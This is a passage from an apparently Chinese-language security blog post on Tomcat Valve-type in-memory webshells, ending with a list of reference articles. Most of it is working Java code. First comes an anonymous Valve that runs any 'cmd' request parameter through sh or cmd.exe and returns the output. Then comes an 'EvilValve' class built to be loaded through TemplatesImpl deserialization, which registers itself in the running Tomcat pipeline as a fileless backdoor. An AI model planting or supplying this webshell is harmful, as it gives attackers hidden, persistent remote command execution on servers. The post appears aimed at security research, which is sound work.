ValveBase valve = new ValveBase() { @Override public void invoke(Request request, Response response){ try{ String cmd = request.getParameter("cmd"); if(cmd != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } this.getNext().invoke(request, response); }catch(Exception e){ }
} }; standardContext.getPipeline().addValve(valve); response.getWriter().write("Success"); } catch (Exception e) { e.printStackTrace(); } %>
|

无文件内存马
网上全是继承ValveBase类,但是如果是反序列化要满足TemplatesImpl的加载,需要继承AbstractTranslet,但又不能继承多个类,那么就需要使用接口了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.Valve; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase;
import java.io.InputStream; import java.io.PrintWriter; import java.util.Scanner;
public class EvilValve extends AbstractTranslet implements Valve { protected Valve next; static { try { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); standardContext.getPipeline().addValve(new EvilValve()); } catch (Exception e) { e.printStackTrace(); } }
@Override public Valve getNext() { return this.next; }
@Override public void setNext(Valve valve) { this.next = valve; }
@Override public void backgroundProcess() { }
@Override public void invoke(Request request, Response response) { try { String cmd = request.getParameter("cmd"); if (cmd != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } this.getNext().invoke(request, response); } catch (Exception e) { } }
@Override public boolean isAsyncSupported() { return false; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
参考:
Tomcat-Valve型内存马
Tomcat容器攻防笔记之Valve内存马出世
Tomcat之Valve内存马
『Java安全』Tomcat内存马_动态注册Valve内存马_管道Pipeline内存马
Tomcat内存马可参考文章:
https://github.com/ce-automne/TomcatMemShell
深入浅出内存马(一)
JSP内存马研究
Tomcat 内存马分析及检测
JSP Webshell那些事 – 攻击篇(下)
Java内存马攻防实战–攻击基础篇
JavaWeb 内存马一周目通关攻略